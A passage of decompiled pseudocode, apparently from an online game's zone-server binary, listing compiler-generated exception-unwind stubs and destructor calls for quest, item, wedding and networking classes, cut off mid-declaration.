-------------------------------------------------------- void __usercall _L73081(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005975E8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__udb_Load_UpgradeDataBox__QAEXPATName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597600) -------------------------------------------------------- void __usercall _L163870(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 68)); } //----- (00597608) -------------------------------------------------------- void __usercall _L163871(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 88)); } //----- (00597610) -------------------------------------------------------- void __usercall _L163872(int a1) { ChargedItemEffectList::ChargedEffectListRouter::_ChargedEffectListRouter((ChargedItemEffectList::ChargedEffectListRouter *)(a1 - 64)); } //----- (00597618) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_ChargedBuff_ShinePlayer_ShineObjectClass__UAEXPAUItemTotalInformation___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597630) -------------------------------------------------------- void __usercall _L164755(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00597638) -------------------------------------------------------- void __usercall _L164756(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 20)); } //----- (00597640) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__uib_CanUseItem_UseItemChargedBuff_UseEffect__UAEGPAVShinePlayer_ShineObjectClass__PAUItemTotalInformation___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597650) -------------------------------------------------------- void __usercall _L164909(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00597658) -------------------------------------------------------- void __usercall _L164910(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (00597660) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__uib_CanUseItem_UseItemMemoryFeather_UseEffect__UAEGPAVShinePlayer_ShineObjectClass__PAUItemTotalInformation___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597670) -------------------------------------------------------- void __usercall _L165124(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 172)); } //----- (0059767B) -------------------------------------------------------- void __usercall _L165125(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 144)); } //----- (00597690) -------------------------------------------------------- void __usercall _L165780_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00597698) -------------------------------------------------------- void __usercall _L165781_0(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 20)); } //----- (005976A0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__uib_DirectUse_UseItemBossMobDetect_UseEffect__UAEEPAVShinePlayer_ShineObjectClass__HPAUItemTotalInformation___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005976B0) -------------------------------------------------------- void __usercall _L165809_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (005976B8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__uib_Effect_UseItemRecallScroll_UseEffect__UAEXPAVShineObject_ShineObjectClass__PAUItemTotalInformation__PBUUIE_Functions_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005976D0) -------------------------------------------------------- void __usercall _L166172(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1276)); } //----- (005976DB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__uib_AfterCast_UseItemVariationProtocolBase_UseEffect__UAEXPAVShinePlayer_ShineObjectClass__PAVItemBag__PBUItemDataBoxIndex_ItemDataBox__E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005976F0) -------------------------------------------------------- void __usercall _L166589(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (005976FB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_silverwing_Setloc_ShinePlayer_ShineObjectClass__QAEXPATITEM_INVEN___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597710) -------------------------------------------------------- void __usercall _L166763(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 332)); } //----- (0059771B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_SilverWingMenu_ShinePlayer_ShineObjectClass__QAEXHPAUItemTotalInformation___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597730) -------------------------------------------------------- void __usercall _L166823(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00597738) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__uib_DirectUse_UseItemSilverWing_UseEffect__UAEEPAVShinePlayer_ShineObjectClass__HPAUItemTotalInformation___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597750) -------------------------------------------------------- void __usercall _L159185(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 252)); } //----- (0059775B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_WeaponLicenseClear_ShinePlayer_ShineObjectClass__IAEXPAUPROTO_NC_WT_LICENSE_REQ__PAVItemInventoryCell__1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597770) -------------------------------------------------------- void __usercall _L159397_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (00597790) -------------------------------------------------------- void __usercall _L159521(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00597798) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__iic_WeaponTitleSave_ItemInventoryCell__QAEXPAVShinePlayer_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005977B0) -------------------------------------------------------- void __usercall _L161514(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (005977B8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005977D0) -------------------------------------------------------- void __usercall _L163157(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (005977D8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_WeddingData_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_CHAR_WEDDINGDATA_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005977F0) -------------------------------------------------------- void __usercall _L163229(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005977F8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ACT_WEDDING_HALL_RESERV_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597810) -------------------------------------------------------- void __usercall _L163371(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 568)); } //----- (0059781B) -------------------------------------------------------- void __usercall _L163372(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00597830) -------------------------------------------------------- void __usercall _L163486(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 432)); } //----- (0059783B) -------------------------------------------------------- void __usercall _L163487(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00597850) -------------------------------------------------------- void __usercall _L163633(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00597858) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__zls_NC_ACT_WEDDING_COUPLE_ENTRANCE_RNG_ZoneListenSession__QAEXPATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597870) -------------------------------------------------------- void __usercall _L159065_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (00597878) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_DummyFunction_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597890) -------------------------------------------------------- void __usercall _L160584_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00597898) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_ZONE_PRISON_END_CMD_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005978B0) -------------------------------------------------------- void __usercall _L160669(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (005978B8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_CHAR_ZONE_SINGLE_OPTION_CMD_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005978D0) -------------------------------------------------------- void __usercall _L157597(int a1) { CSocket_IOCP::_CSocket_IOCP((CSocket_IOCP *)(*(_DWORD *)(a1 - 16) + 44)); } //----- (005978DB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ZoneBaseSession__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005978F0) -------------------------------------------------------- void __usercall _L157680(int a1) { CSocket_IOCP::_CSocket_IOCP((CSocket_IOCP *)(*(_DWORD *)(a1 - 16) + 44)); } //----- (005978FB) -------------------------------------------------------- void __usercall _L157681(int a1) { CPacket::_CPacket((CPacket *)(*(_DWORD *)(a1 - 16) + 224)); } //----- (00597909) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ZoneBaseSession__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597920) -------------------------------------------------------- void __usercall _L159402(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 356)); } //----- (0059792B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__zrpb_Query_ZoneRingPacketFindInstanceDungeon__QAEXPAVShineObject_ShineObjectClass__PATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597940) -------------------------------------------------------- void __usercall _L159940(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 68)); } //----- (00597948) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__zrpb_Request_ZoneRingPacketFindPlayerByNormalUser__UAEXPAVShineObject_ShineObjectClass__PATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597960) -------------------------------------------------------- void __usercall _L160756(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (00597980) -------------------------------------------------------- void __usercall _L160823(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00597988) -------------------------------------------------------- void __usercall _L160824(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 28)); } //----- (00597990) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__zrpb_Request_ZoneRingPacketSummonPartner__UAEXPAVShineObject_ShineObjectClass__PATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005979A0) -------------------------------------------------------- void __usercall _L160963(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 340)); } //----- (005979AB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__zrpb_Success_ZoneRingPacketSummonPartner__UAEXPAVShineObject_ShineObjectClass__PATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005979C0) -------------------------------------------------------- void __usercall _L161266(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (005979CB) -------------------------------------------------------- void __usercall _L161267(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005979D6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__zrpb_Success_ZoneRingPacketFindInstanceDungeon__QAEXPBUInstanceDungeonInfo_FieldOption__PAVFieldMap___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005979E0) -------------------------------------------------------- void __usercall _L161495(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005979E8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__zrpb_Request_ZoneRingPacketRefreshWeddingInfo__QAEXKPATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597A00) -------------------------------------------------------- void __usercall _L161556(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00597A08) -------------------------------------------------------- void __usercall _L161557(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 128)); } //----- (00597A10) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__zrpb_Request_ZoneRingPacketFindInstanceDungeon__QAEXPAVShineObject_ShineObjectClass__PATNETCOMMAND__PBUInstanceDungeonInfo_FieldOption___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597A40) -------------------------------------------------------- void __usercall _L163145(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00597A48) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sm_Routine_SleepManager__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597A60) -------------------------------------------------------- void __usercall _L163307(int a1) { String::_String((String *)(a1 - 1196)); } //----- (00597A6B) -------------------------------------------------------- void __usercall _L163308(int a1) { String::_String((String *)(a1 - 1148)); } //----- (00597A76) -------------------------------------------------------- void __usercall _L163309(int a1) { _eh_vector_destructor_iterator_((void *)(a1 - 1128), 0x10u, 5, (void (__thiscall *)(void *))String::_String); } //----- (00597A8C) -------------------------------------------------------- void __usercall _L163310(int a1) { String::_String(*(String **)(a1 - 1132)); } //----- (00597A97) -------------------------------------------------------- void __usercall _L163311(int a1) { String::_String(*(String **)(a1 - 1152)); } //----- (00597AA2) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ParseCmd_ZoneServer__AAE_NPAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597AB0) -------------------------------------------------------- void __usercall _L163887(int a1) { ZoneServer::__unnamed::___unnamed((CCsl *)(*(_DWORD *)(a1 - 16) + 48)); } //----- (00597ABB) -------------------------------------------------------- void __usercall _L163888(int a1) { CIOCP::_CIOCP((CIOCP *)(*(_DWORD *)(a1 - 16) + 1388)); } //----- (00597AC9) -------------------------------------------------------- void __usercall _L163889(int a1) { CSocket_Acceptor::_CSocket_Acceptor((CSocket_Acceptor *)(*(_DWORD *)(a1 - 16) + 1436)); } //----- (00597AD7) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ZoneServer__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597AF0) -------------------------------------------------------- void __usercall _L163913(int a1) { String::_String(*(String **)(a1 - 1056)); } //----- (00597AFB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__zs_start_ZoneServer__QAEHPAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597B10) -------------------------------------------------------- void __usercall _L164846(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00597B18) -------------------------------------------------------- void __usercall _L164847(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 20)); } //----- (00597B20) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__zs_mainthreadfunction_ZoneServer__SGKPAX_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597B30) -------------------------------------------------------- void __usercall _L166226_0(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00597B38) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__erase____Tree_V___Tset_traits_KU__less_K_std__V__allocator_K_2__0A__std___std__QAE_AViterator_12_V312__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597B50) -------------------------------------------------------- void __usercall _L171232(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00597B5B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_StartScript_FieldMap__QAEEPAV__List_VFieldMap____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597B70) -------------------------------------------------------- void __usercall _L171833(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00597B78) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1EventReserveContainer__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597B90) -------------------------------------------------------- void __usercall _L171874(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00597B98) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__erle_Routine_EventReserveListElement__QAEEPAV__List_VEventReserveListElement____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597BB0) -------------------------------------------------------- void __usercall _L172543(int a1) { CDataReader::_CDataReader((CDataReader *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00597BD0) -------------------------------------------------------- void __usercall _L173473(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00597BD8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VEventReserveListElement____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597BF0) -------------------------------------------------------- void __usercall _L175339(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00597BF8) -------------------------------------------------------- void __usercall _L175340(int a1) { operator delete__(*(void **)(a1 + 4)); } //----- (00597C03) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0EventReserveContainer__QAE_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597C30) -------------------------------------------------------- void __usercall _L176397(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00597C38) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_PAVICondition_NPCAction__V__allocator_PAVICondition_NPCAction___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597C50) -------------------------------------------------------- void __usercall _L183089(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (00597C58) -------------------------------------------------------- void __usercall _L183090(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 72)); } //----- (00597C70) -------------------------------------------------------- void __usercall _L184440(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (00597C7B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler____loadFromOptionReader_UActionGen_OptionReader_NPCAction__V__Manager_VIAction_NPCAction___2__Util_NPCAction__YA_NAAV__Manager_VIAction_NPCAction___1_PBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597C90) -------------------------------------------------------- void __usercall _L184452(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 120)); } //----- (00597C98) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__zs_start_old_ZoneServer__AAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597CB0) -------------------------------------------------------- void __usercall _L158047(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00597CB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__Send_PROTO_NC_ANNOUNCE_Z2W_CMD_CAnnounceSystem__QAEXEPBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597CD0) -------------------------------------------------------- void __usercall _L158269(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (00597CF0) -------------------------------------------------------- void __usercall _L161236(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00597CFB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_QuestPS_Start_FieldMap__QAEHPAD0_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597D10) -------------------------------------------------------- void __usercall _L161348(int a1) { CQuest::_CQuest(*(CQuest **)(a1 - 16)); } //----- (00597D18) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1CQuestZone__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597D30) -------------------------------------------------------- void __usercall _L161662(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 156)); } //----- (00597D3B) -------------------------------------------------------- void __usercall _L161663(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 144)); } //----- (00597D50) -------------------------------------------------------- void __usercall _L162189(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00597D58) -------------------------------------------------------- void __usercall _L162190(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (00597D60) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__GetQuestPlayerItemLot_CQuestZone__UAEGG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597D70) -------------------------------------------------------- void __usercall _L162286(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00597D78) -------------------------------------------------------- void __usercall _L162287(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00597D90) -------------------------------------------------------- void __usercall _L163051(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00597D98) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__MakeStruct_NC_CHARSAVE_2WLDMAN_QUEST_DOING_CMD_CQuestZone__QAEHPAUPROTO_NC_CHARSAVE_2WLDMAN_QUEST_DOING_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597DB0) -------------------------------------------------------- void __usercall _L163134(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (00597DB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__PsStart_CQuestZone__QAEHPAD0_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597DD0) -------------------------------------------------------- void __usercall _L163351(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00597DD8) -------------------------------------------------------- void __usercall _L163353(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00597DE0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__QuestCheckReward_CQuestZone__QAEHGKPBUChargedEffectContainer___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597DF0) -------------------------------------------------------- void __usercall _L163442(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00597DF8) -------------------------------------------------------- void __usercall _L163444(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 12)); } //----- (00597E00) -------------------------------------------------------- void __usercall _L163443(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 12)); } //----- (00597E08) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl 